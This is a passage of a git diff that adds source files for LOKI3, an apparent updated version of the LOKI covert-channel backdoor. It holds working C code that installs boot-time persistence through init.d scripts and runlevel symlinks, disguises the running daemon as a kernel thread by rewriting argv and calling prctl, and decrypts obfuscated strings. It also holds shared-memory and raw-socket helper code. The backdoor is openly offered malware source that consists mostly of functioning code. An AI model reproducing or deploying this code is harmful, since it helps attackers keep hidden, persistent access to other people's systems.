in\n" */ + /* " start)\n" */ + /* " %s &\n" */ + /* " ;;\n" */ + /* "esac\n" */ + /* "exit 0\n", */ + service_name, service_name, service_name, self); + destroy(dbuf, S_SYSV_SERVICE.size); + + fputs(str, fp); + + // TODO error checking + chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); + symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these + symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY); + + fclose(fp); +} + +/* + * Remove persistence files and symlinks. + */ +void unlink_persistence() { + // TODO error checking + unlink(INIT_SCRIPT); + unlink("/etc/rc2.d/" PRIORITY); + unlink("/etc/rc3.d/" PRIORITY); + unlink("/etc/rc4.d/" PRIORITY); + unlink("/etc/rc5.d/" PRIORITY); +} +#endif /* PERSISTENCE */ diff --git a/persistence.h b/persistence.h new file mode 100644 index 0000000..21c582f --- /dev/null +++ b/persistence.h @@ -0,0 +1,25 @@ +/* + * LOKI3 + * + * [ persistence.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#ifdef PERSISTENCE + +#include <stdio.h> +#include <signal.h> +#include <unistd.h> +#include <stdlib.h> +#include <sys/stat.h> +#include <limits.h> + +#include "loki.h" + +#define INIT_SCRIPT "/etc/init.d/foo" +#define PRIORITY "S99foo" + +#endif /* PERSISTENCE */ + +/* EOF */ diff --git a/prochide.c b/prochide.c new file mode 100644 index 0000000..951ec35 --- /dev/null +++ b/prochide.c @@ -0,0 +1,146 @@ +/* + * LOKI3 + * + * [ prochide.c ] + * + * 2019 and beyond Elective Surgery [dmfr] + * + * Observations: + * - On Linux, prctl() will not change the output of `ps` + * - `killall lokid won't work against './lokid' after prctl(), + * however it will work against whatever name you set with prctl(). + * - argv[] needs to be overwritten to hide from `ps` + * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl() + * - prctl() is not portable + * - zeroing out argv[0] on Linux makes ps show a blank process + * - invoking lokid with full path gives more room to play with argv[0] + */ + +#include <stdbool.h> +#include <string.h> +#include <limits.h> +#include <dirent.h> +#include <time.h> +#include <sys/types.h> +#ifdef LINUX +#include <sys/prctl.h> +#endif /* LINUX */ + +#include "loki.h" +#include "prochide.h" + + +#define DEFAULT_PROCNAME "atd" /* Default to a small name */ + +struct thread_names { + char name[PATH_MAX]; + int max; +}; + + +bool string_is_number(const char *str) { + return (strspn(str, "0123456789") == strlen(str)) ? true : false; +} + + +bool prochide(int argc, char *argv[]) { + int i; + size_t len; + char progname[PATH_MAX]; + DIR *dirp; + struct dirent *de; + struct thread_names tnames[10]; + + /* Zero out thread names array */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + memset(tnames[i].name, 0, sizeof(tnames[i].name)); + tnames[i].max = 0; + } + + srand(time(NULL)); + + /* TODO This is not working on Solaris */ + snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME); + + len = strlen(argv[0]); + + /* Find a random, suitable kernel thread name to mimick. */ + dirp = opendir("/proc"); + if (dirp != NULL) { /* /proc exists */ + while ((de = readdir(dirp)) != NULL) { + if (de->d_type == DT_DIR && string_is_number(de->d_name)) { + FILE *fp; + char buf[PATH_MAX] = {0}; + char commfile[PATH_MAX] = {0}; + + /* Read contents of /proc/PID/comm into buf */ + snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name); + if ((fp = fopen(commfile, "r")) != NULL) { + fgets(buf, sizeof(buf), fp); + fclose(fp); + } else { + continue; + } + + if (strlen(buf) > (len - 2)) // account for [] + continue; + + /* Determine if current process's name is suitable */ + char b[PATH_MAX]; + char r[PATH_MAX]; + int d; + + /* We want only string/X, not string/X-foo */ + if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2) + continue; + + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + /* End of array and string not seen yet */ + if (strlen(tnames[i].name) == 0) { + memcpy(tnames[i].name, b, strlen(b)); + tnames[i].max = d; + break; + } + + /* Check if we have already seen this thread name */ + if (strcmp(b, tnames[i].name) == 0) { + if (d > tnames[i].max) + tnames[i].max = d; + break; + } + } + } + } + + closedir(dirp); + + /* Determine number of entries in tnames */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + if (tnames[i].max == 0) + break; + } + + /* Use random tname member */ + if (i < 0) { + int r = rand() % i; + snprintf(progname, sizeof(progname), + "[%s/%d]", tnames[r].name, tnames[r].max + 1); + } + } + + memset(argv[0], 0, len); + memcpy(argv[0], progname, len); + + /* Zero out remaining command line arguments */ + for (i = 1; i < argc; i++) { + memset(argv[i], 0, strlen(argv[i])); + } + +#ifdef LINUX + prctl(PR_SET_NAME, progname, 0, 0, 0); +#endif /* LINUX */ + + return true; +} + +/* EOF */ diff --git a/prochide.h b/prochide.h new file mode 100644 index 0000000..a23fb9b --- /dev/null +++ b/prochide.h @@ -0,0 +1,13 @@ +/* + * LOKI3 + * + * [ prochide.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include <stdbool.h> + +bool prochide(int argc, char *argv[]); + +/* EOF */ @@ -0,0 +1,114 @@ +/* + * LOKI3 + * + * [ shm.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "client_db.h" +#include "shm.h" + +extern struct loki rdg; +extern int verbose; +extern int destroy_shm; +struct client_list *client = 0; + +int semid; + + +/* + * Obfuscated strings + */ +extern estring S_MSG_SHM_DETACH_ERROR; +extern estring S_MSG_CANNOT_DESTROY_SHMID; +extern estring S_MSG_CANNOT_DESTROY_SEMAPHORE; +extern estring S_MSG_SHM_SEGMENT_ERROR; +extern estring S_MSG_SEMAPHORE_ALLOCATION_ERROR; +extern estring S_MSG_CANNOT_LOCK_MEMORY; +extern estring S_MSG_CANNOT_UNLOCK_MEMORY; + +/* + * Prepare shared memory and semaphoreg + */ +void prep_shm() { + key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */ + key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */ + int shmid, len = sizeof(struct client_list) * MAX_CLIENT; + + /* Request a shared memory segment */ + if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SHM_SEGMENT_ERROR)); + } + + /* Get SET_SIZE semaphore to perform shared memory locking with */ + if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SEMAPHORE_ALLOCATION_ERROR)); + } + + /* Attach pointer to the shared memory segment */ + client = (struct client_list *) shmat(shmid, NULL, 0); + + /* clear the database */ + for (int i = 0; i < MAX_CLIENT; i++) { + bzero(&client[i], sizeof(client[i])); + } +} + + +/* + * Locks the semaphore so the caller can access the shared memory segment. + * This is an atomic operation. + */ +void locks() { + struct sembuf lock[2] = { + {0, 0, 0}, + {0, 1, SEM_UNDO} + }; + + if (semop(semid, &lock[0], 2) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_LOCK_MEMORY)); + } +} + + +/* + * Unlocks the semaphore so the caller can access the shared memory segment. + * This is an atomic operation. + */ +void ulocks() { + struct sembuf ulock[1] = { + { 0, -1, (IPC_NOWAIT | SEM_UNDO) } + }; + + if (semop(semid, &ulock[0], 1) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_UNLOCK_MEMORY)); + } +} + + +/* + * Release the shared memory segment. + */ +void dump_shm() { + locks(); + + if ((shmdt((uint8_t *)client)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_SHM_DETACH_ERROR)); + } + + if (destroy_shm == OK) { + if ((shmctl(semid, IPC_RMID, NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SHMID)); + } + + if ((semctl(semid, IPC_RMID, 0, NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SEMAPHORE)); + } + } + + ulocks(); +} + +/* EOF */ @@ -0,0 +1,18 @@ +/* + * LOKI + * + * shm header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + +#define SHM_KEY 242 /* Shared memory key */ +#define SEM_KEY 424 /* Semaphore key */ +#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */ +#define SET_SIZE 1 + +void prep_shm(); /* prepare shared mem segment */ +void locks(); /* lock shared memory */ +void ulocks(); /* unlock shared memory */ +void dump_shm(); /* release shared memory */ + diff --git a/surplus.c b/surplus.c new file mode 100644 index 0000000..6dfbea4 --- /dev/null +++ b/surplus.c @@ -0,0 +1,201 @@ +/* + * LOKI3 + * + * [ surplus.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" + +extern int verbose; +extern jmp_buf env; + + +/* + * Domain names / dotted-decimals --> network byte order. + */ +uint32_t name_resolve(char *hostname) { + struct in_addr addr; + struct hostent *hostEnt; + + /* name lookup failure */ + if ((addr.s_addr = inet_addr(hostname)) == -1) { + if (!(hostEnt = gethostbyname(hostname))) { + return 0; // TODO this probably isnt right. + } + + bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length); + } + + return addr.s_addr; +} + + +/* + * Network byte order --> dotted-decimals. + */ +char *host_lookup(uint32_t in) { + char hostname[BUFSIZ] = {0}; + struct in_addr addr; + + addr.s_addr = in; + strcpy(hostname, inet_ntoa(addr)); + + return strdup(hostname); +} + +#ifdef X86FAST_CHECK + +/* + * Fast x86 based assembly implementation of the IP checksum routine. + * TODO: Do we still need this? + */ +u_short i_check(u_short *buff, int len) { + u_long sum = 0; + if (len > 3) { + __asm__("clc\n" + "1:\t" + "lodsl\n\t" + "adcl %%eax, %%ebx\n\t" + "loop 1b\n\t" + "adcl $0, %%ebx\n\t" + "movl %%ebx, %%eax\n\t" + "shrl $16, %%eax\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum) , "=S" (buff) + : "0" (sum), "c" (len >> 2) ,"1" (buff) + : "ax", "cx", "si", "bx"); + } + if (len & 2) { + __asm__("lodsw\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum) , "=S" (buff) + : "0" (sum), "c" (len >> 2) ,"1" (buff) + : "ax", "cx", "si", "bx"); + } + if (len & 2) { + __asm__("lodsw\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + if (len & 1) { + __asm__("lodsb\n\t" + "movb $0, %%ah\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + if (len & 1) { + __asm__("lodsb\n\t" + "movb $0, %%ah\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + sum = ~sum; + return (sum & 0xffff); +} + +#else + +/* + * Standard IP Family checksum routine. + */ +uint16_t i_check(uint16_t *ptr, int nbytes) { + register long sum = 0; + uint16_t oddbyte = 0; + register uint16_t answer = 0; + + while (nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) { + oddbyte = 0; + *((uint8_t *)&oddbyte) =* (uint8_t *)ptr; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ + sum += (sum >> 16); + answer = ~sum; + return answer; +} +#endif /* X86FAST_CHECK */ + + +/* + * Generic exit with error function. If checkerrno is true, errno should + * be looked at and we call perror, otherwise, just dump to stderr. + * Additionally, we have the option of suppressing the error messages by + * zeroing verbose. + */ +void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr) { + if (verbalkint) { + if (checkerrno) { + perror(errstr); + } else { + fprintf(stderr, "%s\n", errstr); + } + } + + clean_exit(exitstatus); +} + + +/* + * Clean exit handler + */ +void clean_exit(int status) { + extern int tsock; + extern int ripsock; + + close(ripsock); + close(tsock); + exit(status); +} + + +#ifdef DEBUG +/* + * Bulk of this function taken from Stevens APUE... + * got this from Mooks (LTC) + */ +void fd_status(int fd, int newline) { + int accmode = 0, val = 0; + + val = fcntl(fd, F_GETFL, 0); + +#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT) + accmode = val & O_ACCMODE; +#else /* pyramid */ + accmode = val; /* kludge */ +#endif /* pyramid */ + if (accmode == O_RDONLY) fprintf(stderr, " read only"); + else if (accmode == O_WRONLY) fprintf(stderr, " write only"); + else if (accmode == O_RDWR) fprintf(stderr, " read write"); + if (val & O_APPEND) fprintf(stderr, " append"); + if (val & O_NONBLOCK) fprintf(stderr, " nonblocking"); + else fprintf(stderr, " blocking"); +#if defined(O_SYNC) + if (val & O_SYNC) fprintf(stderr, " sync writes"); +#else +#if defined(O_FSYNC) + if (val & O_FSYNC) fprintf(stderr, " sync writes"); +#endif /* O_FSYNC */ +#endif /* O_SYNC */ + if (newline) fprintf(stderr, "\r\n"); +} +#endif /* DEBUG */ + +/* EOF */ |
